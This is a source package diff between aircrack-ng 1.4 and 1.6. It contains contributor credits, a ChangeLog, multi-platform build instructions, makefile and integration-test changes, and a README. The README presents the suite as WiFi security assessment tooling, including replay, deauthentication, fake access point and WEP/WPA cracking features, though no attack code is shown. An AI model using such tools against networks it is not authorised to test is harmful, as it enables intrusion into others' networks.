+
+* Moshe Kaplan
+
+	- Coverity Scan set-up
+	- Memory leak and other fixes
+	- AppArmor profiles
+
+* TheX1le (Ben Smith)
+
+	- airgraph-ng
+	- versuck-ng
+	- airdrop-ng
+
+* nx5 (Alvaro Salmador) <naplam33@msn.com>
+
+	- Aircrack-ng: WPA SSE2 implementation
+
+* Len White
+
+	- Aircrack-ng: WPA AVX/AVX2 code porting from JTR
+
+* Tim de Waal
+
+	- Airventriloquist-ng
+
+Thanks to
+=========
+
+Alon Bar-Lev <alon.barlev@gmail.com>
+Almantsas
+Jano
+yh0- <yysjryysjr@gmail.com>
+Darko Sancanin <darko.sancanin@gmail.com>
+Fabrice Fontaine
+Julian Tyler
+LatinSud aka SuD
+layoyo
+Marohiver
+Michael Buesch <mb@bu3sch.de>
+myst404
+Ryan Schmidt
+neheb (Rosen Penev)
+San Foxman
+Samuel Henrique
+tjt263
+ZhaoChunsheng
+Kyle Fuller <inbox@kylefuller.co.uk>
+SemiSkimmedSteve
+mnt
+XBM5
+Raúl Calvo Laorden
+Lars Engels
+darkfires
+Marks
+Mathy Vanhoef
+Wojciech Waga
+Gustavo Zacarias
+steev
+rmh
+Arnaud Fontaine
+beini
+yadox
+Ramiro Polla
+matrix.use.linux
+m4tr1x
+dan
+Christoph J. Thompson
+stsp
+Edgan
+Wiz
+Wouter van Kesteren
+buzzsaw
+slyfox
+Sergei Trofimovich
+mrpisto
+Paul Fertser
+impulse32
+jeroenimo
+iceblox
+Ludovic Drolez
+Christian Mock
+Weedy
+
+... and to anybody else who contributed, who, sometimes wishes to remain anonymous.
\ No newline at end of file

aircrack-ng-1.4.tar.gz/ChangeLog -> aircrack-ng-1.6.tar.gz/ChangeLog Changed

@@ -1,3 +1,72 @@
+Version 1.6 (changes from aircrack-ng 1.5.2) - Released XX Jan 2020:
+* Aircrack-ng: Added support for MidnightBSD
+* Aircrack-ng: Fixed ARM processors display with -u
+* Aircrack-ng: Fixed AVX-512F support
+* Aircrack-ng: Fixed cracking speed calculation
+* Aircrack-ng: Fixed cracking WEP beyond 10k IVS
+* Aircrack-ng: Fixed creating new session and added test case
+* Aircrack-ng: Fixed encryption display in some cases when prompting for network to crack
+* Aircrack-ng: Fixed exiting Aircrack-ng in some cases
+* Aircrack-ng: Fixed logical and physical processor count detection
+* Aircrack-ng: Fixed PMKID length check
+* Aircrack-ng: Various fixes and improvements to WPA cracking engine and its performance
+* Airdecap-ng: Decrypt both directions when WDS is in use
+* Airdecap-ng: Fixed decrypting WPA PCAP when BSSID changes
+* Airgraph-ng: Added support for WPA3
+* Airgraph-ng: Switch to argparse
+* Airmon-ng: Added detection for wicd, Intel Wireless Daemon (iwd), net_applet
+* Airmon-ng: Handle case when avahi keeps getting restarted
+* Airmon-ng: Indicates when interface doesn't exist
+* Airodump-ng: Added autocolorization interactive key
+* Airodump-ng: Added option to read PCAP in realtime (-T)
+* Airodump-ng: Added PMKID detection
+* Airodump-ng: Added support for GMAC
+* Airodump-ng: Added support for WPA3 and OWE (Enhanced Open)
+* Airodump-ng: Basic UTF-8 support
+* Airodump-ng: Checked management frames are complete before processing IE to avoid switch from WEP to WPA
+* Airodump-ng: Display signal when reading from PCAP
+* Airodump-ng: Fixed netxml output with hidden SSID
+* Airodump-ng: Improved rates calculation for 802.11n/ac
+* Airtun-ng: Fixed using -p with -e
+* Autoconf: Fixed order of ssl and crypto libraries
+* dcrack: Fixed client reporting benchmark
+* dcrack: Now handles chunked encoding when communicating (default in Python3)
+* Freeradius-WPE: Updated patch for v3.0.20
+* General: Added NetBSD endianness support
+* General: Added python3 support to scripts
+* General: Added script to update autotools on CentOS 7
+* General: Added security policy to report security issues
+* General: Reorganizing filesystem layout (See PR 2032), and switch to automake 1.14+
+* General: Convert to non-recursive make (part of PR 2032)
+* General: Deduplicating functions and code cleanups
+* General: Fixed packaging on cygwin due to openssl library name change
+* General: Fixed SPARC build on Solaris 11
+* General: Removed coveralls.io
+* General: Updated dependencies in README.md/INSTALLING
+* General: Use upstream radiotap libary, as a sub-tree
+* General: various fixes and improvements (code, CI, integration tests, coverity)
+* HostAPd-WPE: Updated for v2.9
+* Manpages: Fixes and improvements
+* Tests: Added Integration tests for aireplay-ng, airodump-ng, aircrack-ng, airbase-ng, and others
+* Tests: Added tests for airdecap-ng, aircrack-ng
+
+Version 1.5.2 (changes from aircrack-ng 1.4) - Released 09 Dec 2018:
+* Airodump-ng: Fixed AP selection slip in interactive mode
+* Airodump-ng: Revamped GPS logging functionality and added new logging format (logcsv)
+* Aircrack-ng: Only load the maximum supported and available crypto engine
+* Aircrack-ng: Reworked wordlist producer/consumer queue
+* Airserv-ng: Fixed communication between platforms with different size int
+* Airmon-ng: Improved detection of Raspberry Pis
+* General: Signed and unsigned comparison fixes
+* Package: Added package for Ubuntu 18.10 (Cosmic)
+* General: Code cleanups
+* General: Added more tests
+* General: Compilation improvements/fixes in autotools
+* General: Big endian fixes
+* General: Fixed building on FreeBSD and OpenBSD
+* General: Added instructions to compile on DragonflyBSD and OpenBSD
+* General: Fixed spelling errors
+
 Version 1.4 (changes from aircrack-ng 1.3) - Released 29 Sep 2018:
 * Aircrack-ng: Added PMKID cracking
 * Aircrack-ng: Serious speed up and memory usage decrease when loading large files (multiple Gb) using AVL trees

aircrack-ng-1.4.tar.gz/INSTALLING -> aircrack-ng-1.6.tar.gz/INSTALLING Changed

@@ -24,30 +24,57 @@
  * If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
  * In order to build besside-ng, besside-ng-crawler, easside-ng, tkiptun-ng and wesside-ng,
    libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
- * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc7
+ * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc9
  * rfkill
+ * If you want Airodump-ng to log GPS coordinates, gpsd is needed
  * For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
+ * CMocka for unit testing
+ * For intergation testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
 
 === Installing required and optional dependencies ===
 
 Below are instructions for installing the basic requirements to build
 `aircrack-ng` for a number of operating systems.
 
-Note: CMocka should not be a dependency when packaging Aircrack-ng.
+Note: CMocka, tcpdump, screen, HostAPd and WPA Supplicant should not be dependencies when packaging Aircrack-ng.
 
 ==== Linux ====
 
 ===== Debian/Ubuntu =====
 
-    `sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev`
+    `sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils`
 
 ===== Fedora/CentOS/RHEL =====
 
-    `sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel`
+    `sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel git make file expect hostapd wpa_supplicant iw usbutils tcpdump screen`
 
-==== FreeBSD ====
+Note: on CentOS and RedHat, HostAPd requires 'epel' repository to be enabled: sudo yum install epel-release
 
-    `pkg install pkgconf shtool libtool gcc7 automake autoconf pcre sqlite3 openssl gmake hwloc cmocka`
+===== openSUSE =====
+
+    `sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc`
+
+===== Mageia =====
+
+    `sudo urpmi autoconf automake libtool pkgconfig libnl3-devel libopenssl-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc make`
+
+===== Alpine =====
+
+    `sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev`
+
+==== BSD ====
+
+===== FreeBSD =====
+
+    `pkg install pkgconf shtool libtool gcc9 automake autoconf pcre sqlite3 openssl gmake hwloc cmocka`
+
+===== DragonflyBSD =====
+
+    `pkg install pkgconf shtool libtool gcc8 automake autoconf pcre sqlite3 libgcrypt gmake cmocka`
+
+===== OpenBSD =====
+
+    `pkg_add pkgconf shtool libtool gcc automake autoconf pcre sqlite3 openssl gmake cmocka`
 
 ==== OSX ====
 
@@ -67,7 +94,7 @@
 An example of automatically installing all the dependencies
 is as follows:
 
-    `c:\cygwin\setup-x86.exe -qnNdO -R C:/cygwin -s http://cygwin.mirror.constant.com -l C:/cygwin/var/cache/setup -P autoconf -P automake -P bison -P gcc-core -P gcc-g++ -P mingw-runtime -P mingw-binutils -P mingw-gcc-core -P mingw-gcc-g++ -P mingw-pthreads -P mingw-w32api -P libtool -P make -P python -P gettext-devel -P gettext -P intltool -P libiconv -P pkg-config -P git -P wget -P curl -P libpcre-devel -P openssl-devel -P libsqlite3-devel`
+    `c:\cygwin\setup-x86.exe -qnNdO -R C:/cygwin -s http://cygwin.mirror.constant.com -l C:/cygwin/var/cache/setup -P autoconf -P automake -P bison -P gcc-core -P gcc-g++ -P mingw-runtime -P mingw-binutils -P mingw-gcc-core -P mingw-gcc-g++ -P mingw-pthreads -P mingw-w32api -P libtool -P make -P python -P gettext-devel -P gettext -P intltool -P libiconv -P pkg-config -P git -P wget -P curl -P libpcre-devel -P libssl-devel -P libsqlite3-devel`
 
 
 ===== MSYS2 =====
@@ -106,6 +133,10 @@
 
     `make check`
 
+ * Execute all integration testing (requires root):
+ 
+    `make integration`
+
  * Installing:
 
     `make install`
@@ -159,7 +190,7 @@
 
 * with-static-simd=<SIMD>: Compile a single optimization in aircrack-ng binary. Useful when compiling
                     statically and/or for space-constrained devices. Valid SIMD options: x86-sse2,
-                    x86-avx, x86-avx2, x86-avx512, ppc-altivec, ppc-power8, arm-neon, arm-asimd
+                    x86-avx, x86-avx2, x86-avx512, ppc-altivec, ppc-power8, arm-neon, arm-asimd.
                     Must be used with --enable-static --disable-shared. When using those 2 options, the default
                     is to compile the generic optimization in the binary. --with-static-simd merely allows
                     to choose another one.
@@ -223,9 +254,9 @@
     `make`
     `make check`
 
-  * Compiling on FreeBSD with better performance
+  * Compiling on FreeBSD with gcc9
 
-    `env CC=gcc7 CXX=g++7 ./configure`
+    `env CC=gcc9 CXX=g++9 MAKE=gmake ./configure`
     `gmake`
 
   * Compiling on Cygwin with Airpcap (assuming Airpcap devpack is unpacked in Aircrack-ng directory)
@@ -241,6 +272,34 @@
     make
     ```
 
+  * Compiling on DragonflyBSD with gcrypt using GCC 8
+
+    ```
+    autoreconf -i
+    env CC=gcc8 CXX=g++8 MAKE=gmake ./configure --with-experimental --with-gcrypt
+    gmake
+    ```
+
+  * Compiling on OpenBSD (with autoconf 2.69 and automake 1.16)
+
+    ```
+    export AUTOCONF_VERSION=2.69
+    export AUTOMAKE_VERSION=1.16
+    autoreconf -i
+    env MAKE=gmake ./configure
+    gmake
+   ```
+
+  * Compiling and debugging aircrack-ng
+
+   ```
+   export CFLAGS='-O0 -g'
+   export CXXFLAGS='-O0 -g'
+   ./configure
+   make
+   LD_LIBRARY_PATH=.libs gdb --args ./aircrack-ng [PARAMETERS]
+   ```
+
 == Packaging ==
 
 Automatic detection of CPU optimization is done at run time. This behavior

aircrack-ng-1.4.tar.gz/Makefile.am -> aircrack-ng-1.6.tar.gz/Makefile.am Changed

@@ -39,11 +39,64 @@
 
 ACLOCAL_AMFLAGS = -I build/m4/stubs -I build/m4
 
-SUBDIRS = manpages \
-		  scripts \
-		  src \
-		  test
+SUBDIRS =	manpages \
+					scripts
 
+AM_CPPFLAGS = -I$(abs_srcdir) \
+							-I$(abs_builddir)/include \
+							-I$(abs_srcdir)/include \
+							-I$(abs_builddir)/lib \
+							-I$(abs_srcdir)/lib \
+							-I$(abs_builddir)/lib/radiotap \
+							-I$(abs_srcdir)/lib/radiotap \
+							$(CRYPTO_INCLUDES) \
+							$(CODE_COVERAGE_CPPFLAGS)
 
-@CODE_COVERAGE_RULES@
+CFLAGS		+=	$(CODE_COVERAGE_CFLAGS)
+CXXFLAGS	+=	$(CODE_COVERAGE_CXXFLAGS)
+LIBS			+=	$(CODE_COVERAGE_LIBS)
 
+COMMON_CFLAGS	= $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+COMMON_LDADD	= $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+
+bin_PROGRAMS =
+sbin_PROGRAMS =
+noinst_LTLIBRARIES =
+lib_LTLIBRARIES =
+EXTRA_DIST = VERSION
+check_PROGRAMS =
+TESTS =
+INTEGRATION_TESTS =
+
+LIBACCRYPTO_LIBS = libaccrypto.la
+LIBAIRCRACK_CE_WEP_LIBS = libaircrack-ce-wep.la
+LIBAIRCRACK_LIBS = libaircrack.la
+LIBAIRCRACK_OSDEP_LIBS= libaircrack-osdep.la
+if CYGWIN
+LIBAIRCRACK_OSDEP_LIBS+= -liphlpapi -lsetupapi
+endif
+LIBCOWPATTY_LIBS = libcowpatty.la
+LIBPTW_LIBS = libptw.la
+LIBRADIOTAP_LIBS = libradiotap.la
+
+LIBAIRCRACK_CE_WPA_LIBS = libaircrack-ce-wpa.la
+LIBAIRCRACK_CE_WPA_X86_AVX512_LIBS = libaircrack-ce-wpa-x86-avx512.la
+LIBAIRCRACK_CE_WPA_X86_AVX2_LIBS = libaircrack-ce-wpa-x86-avx2.la
+LIBAIRCRACK_CE_WPA_X86_AVX_LIBS = libaircrack-ce-wpa-x86-avx.la
+LIBAIRCRACK_CE_WPA_X86_SSE2_LIBS = libaircrack-ce-wpa-x86-sse2.la
+LIBAIRCRACK_CE_WPA_ARM_NEON_LIBS = libaircrack-ce-wpa-arm-neon.la
+LIBAIRCRACK_CE_WPA_PPC_ALTIVEC_LIBS = libaircrack-ce-wpa-ppc-altivec.la
+LIBAIRCRACK_CE_WPA_PPC_POWER8_LIBS = libaircrack-ce-wpa-ppc-power8.la
+
+LIBAIRCRACK_CE_WPA_PATH = $(abs_top_builddir)/
+
+include $(top_srcdir)/Makefile.integration.mk
+include $(top_srcdir)/include/Makefile.inc
+include $(top_srcdir)/lib/Makefile.inc
+include $(top_srcdir)/src/Makefile.inc
+include $(top_srcdir)/test/Makefile.inc
+
+include $(top_srcdir)/aminclude_static.am
+
+clean-local: code-coverage-clean
+distclean-local: code-coverage-dist-clean

aircrack-ng-1.6.tar.gz/Makefile.integration.mk Added

@@ -0,0 +1,147 @@
+
+INTEGRATION_TEST_SUITE_LOG = integration-test-suite.log
+am__set_INTEGRATION_TESTS_bases = \
+	bases='$(INTEGRATION_TEST_LOGS)'; \
+	bases=`for i in $$bases; do echo $$i; done | sed 's/\.log$$//'`; \
+	bases=`echo $$bases`
+
+am__integration_test_logs1 = $(INTEGRATION_TESTS:=.log)
+INTEGRATION_TEST_LOGS = $(am__integration_test_logs1:.log=.log)
+
+
+# Leading 'am--fnord' is there to ensure the list of targets does not
+# expand to empty, as could happen e.g. with make check TESTS=''.
+am--fnord $(INTEGRATION_TEST_LOGS) $(INTEGRATION_TEST_LOGS:.log=.trs): $(am__force_recheck)
+
+$(INTEGRATION_TEST_SUITE_LOG): $(INTEGRATION_TEST_LOGS)
+	@$(am__set_INTEGRATION_TESTS_bases); \
+	am__f_ok () { test -f "$$1" && test -r "$$1"; }; \
+	redo_bases=`for i in $$bases; do \
+	              am__f_ok $$i.trs && am__f_ok $$i.log || echo $$i; \
+	            done`; \
+	if test -n "$$redo_bases"; then \
+	  redo_logs=`for i in $$redo_bases; do echo $$i.log; done`; \
+	  redo_results=`for i in $$redo_bases; do echo $$i.trs; done`; \
+	  if $(am__make_dryrun); then :; else \
+	    rm -f $$redo_logs && rm -f $$redo_results || exit 1; \
+	  fi; \
+	fi; \
+	if test -n "$$am__remaking_logs"; then \
+	  echo "fatal: making $(INTEGRATION_TEST_SUITE_LOG): possible infinite" \
+	       "recursion detected" >&2; \
+	elif test -n "$$redo_logs"; then \
+	  am__remaking_logs=yes $(MAKE) $(AM_MAKEFLAGS) $$redo_logs; \
+	fi; \
+	if $(am__make_dryrun); then :; else \
+	  st=0;  \
+	  errmsg="fatal: making $(INTEGRATION_TEST_SUITE_LOG): failed to create"; \
+	  for i in $$redo_bases; do \
+	    test -f $$i.trs && test -r $$i.trs \
+	      || { echo "$$errmsg $$i.trs" >&2; st=1; }; \
+	    test -f $$i.log && test -r $$i.log \
+	      || { echo "$$errmsg $$i.log" >&2; st=1; }; \
+	  done; \
+	  test $$st -eq 0 || exit 1; \
+	fi
+	@$(am__sh_e_setup); $(am__tty_colors); $(am__set_INTEGRATION_TESTS_bases); \
+	ws='[ 	]'; \
+	results=`for b in $$bases; do echo $$b.trs; done`; \
+	test -n "$$results" || results=/dev/null; \
+	all=`  grep "^$$ws*:test-result:"           $$results | wc -l`; \
+	pass=` grep "^$$ws*:test-result:$$ws*PASS"  $$results | wc -l`; \
+	fail=` grep "^$$ws*:test-result:$$ws*FAIL"  $$results | wc -l`; \
+	skip=` grep "^$$ws*:test-result:$$ws*SKIP"  $$results | wc -l`; \
+	xfail=`grep "^$$ws*:test-result:$$ws*XFAIL" $$results | wc -l`; \
+	xpass=`grep "^$$ws*:test-result:$$ws*XPASS" $$results | wc -l`; \
+	error=`grep "^$$ws*:test-result:$$ws*ERROR" $$results | wc -l`; \
+	if test `expr $$fail + $$xpass + $$error` -eq 0; then \
+	  success=true; \
+	else \
+	  success=false; \
+	fi; \
+	br='==================='; br=$$br$$br$$br$$br; \
+	result_count () \
+	{ \
+	    if test x"$$1" = x"--maybe-color"; then \
+	      maybe_colorize=yes; \
+	    elif test x"$$1" = x"--no-color"; then \
+	      maybe_colorize=no; \
+	    else \
+	      echo "$@: invalid 'result_count' usage" >&2; exit 4; \
+	    fi; \
+	    shift; \
+	    desc=$$1 count=$$2; \
+	    if test $$maybe_colorize = yes && test $$count -gt 0; then \
+	      color_start=$$3 color_end=$$std; \
+	    else \
+	      color_start= color_end=; \
+	    fi; \
+	    echo "$${color_start}# $$desc $$count$${color_end}"; \
+	}; \
+	create_testsuite_report () \
+	{ \
+	  result_count $$1 "TOTAL:" $$all   "$$brg"; \
+	  result_count $$1 "PASS: " $$pass  "$$grn"; \
+	  result_count $$1 "SKIP: " $$skip  "$$blu"; \
+	  result_count $$1 "XFAIL:" $$xfail "$$lgn"; \
+	  result_count $$1 "FAIL: " $$fail  "$$red"; \
+	  result_count $$1 "XPASS:" $$xpass "$$red"; \
+	  result_count $$1 "ERROR:" $$error "$$mgn"; \
+	}; \
+	{								\
+	  echo "$(PACKAGE_STRING): $(subdir)/$(INTEGRATION_TEST_SUITE_LOG)" |	\
+	    $(am__rst_title);						\
+	  create_testsuite_report --no-color;				\
+	  echo;								\
+	  echo ".. contents:: :depth: 2";				\
+	  echo;								\
+	  for b in $$bases; do echo $$b; done				\
+	    | $(am__create_global_log);					\
+	} >$(INTEGRATION_TEST_SUITE_LOG).tmp || exit 1;				\
+	mv $(INTEGRATION_TEST_SUITE_LOG).tmp $(INTEGRATION_TEST_SUITE_LOG);			\
+	if $$success; then						\
+	  col="$$grn";							\
+	 else								\
+	  col="$$red";							\
+	  test x"$$VERBOSE" = x || cat $(INTEGRATION_TEST_SUITE_LOG);		\
+	fi;								\
+	echo "$${col}$$br$${std}"; 					\
+	echo "$${col}Integration test-suite summary for $(PACKAGE_STRING)$${std}";	\
+	echo "$${col}$$br$${std}"; 					\
+	create_testsuite_report --maybe-color;				\
+	echo "$$col$$br$$std";						\
+	if $$success; then :; else					\
+	  echo "$${col}See $(subdir)/$(INTEGRATION_TEST_SUITE_LOG)$${std}";		\
+	  if test -n "$(PACKAGE_BUGREPORT)"; then			\
+	    echo "$${col}Please report to $(PACKAGE_BUGREPORT)$${std}";	\
+	  fi;								\
+	  echo "$$col$$br$$std";					\
+	fi;								\
+	$$success || exit 1
+
+integration-TESTS:
+	@list='$(RECHECK_LOGS)';           test -z "$$list" || rm -f $$list
+	@list='$(RECHECK_LOGS:.log=.trs)'; test -z "$$list" || rm -f $$list
+	@test -z "$(INTEGRATION_TEST_SUITE_LOG)" || rm -f $(INTEGRATION_TEST_SUITE_LOG)
+	@set +e; $(am__set_INTEGRATION_TESTS_bases); \
+	log_list=`for i in $$bases; do echo $$i.log; done`; \
+	trs_list=`for i in $$bases; do echo $$i.trs; done`; \
+	log_list=`echo $$log_list`; trs_list=`echo $$trs_list`; \
+	for b in $$bases; do \
+		p='$$b$(EXEEXT)'; \
+		$(am__check_pre) $(LOG_DRIVER) --test-name "$$b" \
+		--log-file $$b.log --trs-file $$b.trs \
+		$(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \
+		"$$b" $(AM_TESTS_FD_REDIRECT); \
+	done; \
+	$(MAKE) $(AM_MAKEFLAGS) $(INTEGRATION_TEST_SUITE_LOG) TEST_LOGS="$$log_list"; \
+	exit $$?;
+
+integration:
+	$(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS) $(integration_PROGRAMS)
+	$(MAKE) $(AM_MAKEFLAGS) integration-TESTS
+
+mostlyclean-local:
+	-test -z "$(INTEGRATION_TEST_LOGS)" || rm -f $(INTEGRATION_TEST_LOGS)
+	-test -z "$(INTEGRATION_TEST_LOGS:.log=.trs)" || rm -f $(INTEGRATION_TEST_LOGS:.log=.trs)
+	-test -z "$(INTEGRATION_TEST_SUITE_LOG)" || rm -f $(INTEGRATION_TEST_SUITE_LOG)

aircrack-ng-1.4.tar.gz/README -> aircrack-ng-1.6.tar.gz/README Changed

aircrack-ng-1.6.tar.gz/README.md Added

@@ -0,0 +1,381 @@
+# Aircrack-ng
+
+[![Linux/Mac Build Status](https://travis-ci.org/aircrack-ng/aircrack-ng.svg?branch=master)](https://travis-ci.org/aircrack-ng/aircrack-ng)
+[![Windows Build Status](https://ci.appveyor.com/api/projects/status/github/aircrack-ng/aircrack-ng?branch=master&svg=true)](https://ci.appveyor.com/project/aircrack-ng/aircrack-ng)
+[![Intel Compiler Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng.svg?left_text=Intel%20Compiler%20Build)](https://buildbot.aircrack-ng.org/)
+[![Alpine Linux Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-alpine.svg?left_text=Alpine%20Linux%20Build)](https://buildbot.aircrack-ng.org/)
+[![Kali Linux Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-kali.svg?left_text=Kali%20Linux%20Build)](https://buildbot.aircrack-ng.org/)
+[![Armel Kali Linux Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-armel.svg?left_text=Armel%20Kali%20Linux%20Build)](https://buildbot.aircrack-ng.org/)
+[![Armhf Kali Linux Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-armhf.svg?left_text=Armhf%20Kali%20Linux%20Build)](https://buildbot.aircrack-ng.org/)
+[![DragonFly BSD Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-dfly.svg?left_text=DragonFly%20Build)](https://buildbot.aircrack-ng.org/)
+[![FreeBSD 11 Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-fbsd-11.svg?left_text=FreeBSD%2011%20Build)](https://buildbot.aircrack-ng.org/)
+[![FreeBSD 12 Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-fbsd-12.svg?left_text=FreeBSD%2012%20Build)](https://buildbot.aircrack-ng.org/)
+[![OpenBSD 6 Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-obsd.svg?left_text=OpenBSD%20Build)](https://buildbot.aircrack-ng.org/)
+[![NetBSD 8.1 Build Status](https://buildbot.aircrack-ng.org/badges/aircrack-ng-netbsd81.svg?left_text=NetBSD%20Build)](https://buildbot.aircrack-ng.org/)
+[![Coverity Scan Build Status](https://scan.coverity.com/projects/aircrack-ng/badge.svg)](https://scan.coverity.com/projects/aircrack-ng)
+[![PackageCloud DEB](https://img.shields.io/badge/deb-packagecloud.io-844fec.svg)](https://packagecloud.io/aircrack-ng/git/install#bash-deb)
+[![PackageCloud RPM](https://img.shields.io/badge/rpm-packagecloud.io-844fec.svg)](https://packagecloud.io/aircrack-ng/git/install#bash-rpm)
+
+Aircrack-ng is a complete suite of tools to assess WiFi network security.
+
+It focuses on different areas of WiFi security:
+ * Monitoring: Packet capture and export of data to text files for further processing by third party tools.
+ * Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
+ * Testing: Checking WiFi cards and driver capabilities (capture and injection).
+ * Cracking: WEP and WPA PSK (WPA 1 and 2).
+
+All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2. 
+
+# Building
+
+## Requirements
+
+ * Autoconf
+ * Automake
+ * Libtool
+ * shtool
+ * OpenSSL development package or libgcrypt development package.
+ * Airmon-ng (Linux) requires ethtool.
+ * On windows, cygwin has to be used and it also requires w32api package.
+ * On Windows, if using clang, libiconv and libiconv-devel
+ * Linux: LibNetlink 1 or 3. It can be disabled by passing --disable-libnl to configure.
+ * pkg-config (pkgconf on FreeBSD)
+ * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake
+ * Linux/Cygwin: make and Standard C++ Library development package (Debian: libstdc++-dev)
+
+## Optional stuff
+
+ * If you want SSID filtering with regular expression in airodump-ng
+   (-essid-regex) pcre development package is required.
+ * If you want to use airolib-ng and '-r' option in aircrack-ng,
+   SQLite development package >= 3.3.17 (3.6.X version or better is recommended)
+ * If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
+ * In order to build `besside-ng`, `besside-ng-crawler`, `easside-ng`, `tkiptun-ng` and `wesside-ng`,
+   libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
+ * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc9
+ * rfkill
+ * If you want Airodump-ng to log GPS coordinates, gpsd is needed
+ * For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
+ * CMocka for unit testing
+ * For intergation testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
+
+## Installing required and optional dependencies
+
+Below are instructions for installing the basic requirements to build
+`aircrack-ng` for a number of operating systems.
+
+**Note**: CMocka, tcpdump, screen, HostAPd and WPA Supplicant should not be dependencies when packaging Aircrack-ng.
+
+### Linux
+
+#### Debian/Ubuntu
+
+    sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
+
+#### Fedora/CentOS/RHEL
+
+    sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel git make file expect hostapd wpa_supplicant iw usbutils tcpdump screen
+
+**Note**: on CentOS and RedHat, HostAPd requires 'epel' repository to be enabled: sudo yum install epel-release
+
+#### openSUSE
+
+    sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc
+
+#### Mageia
+
+    sudo urpmi autoconf automake libtool pkgconfig libnl3-devel libopenssl-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc make
+
+#### Alpine
+
+    sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev
+
+### BSD
+
+#### FreeBSD
+
+    pkg install pkgconf shtool libtool gcc9 automake autoconf pcre sqlite3 openssl gmake hwloc cmocka
+
+#### DragonflyBSD
+
+    pkg install pkgconf shtool libtool gcc8 automake autoconf pcre sqlite3 libgcrypt gmake cmocka
+
+#### OpenBSD
+
+    pkg_add pkgconf shtool libtool gcc automake autoconf pcre sqlite3 openssl gmake cmocka
+
+### OSX
+
+XCode, Xcode command line tools and HomeBrew are required.
+
+    brew install autoconf automake libtool openssl shtool pkg-config hwloc pcre sqlite3 libpcap cmocka
+
+### Windows
+
+#### Cygwin
+
+Cygwin requires the full path to the `setup.exe` utility, in order to
+automate the installation of the necessary packages. In addition, it
+requires the location of your installation, a path to the cached
+packages download location, and a mirror URL.
+
+An example of automatically installing all the dependencies
+is as follows:
+
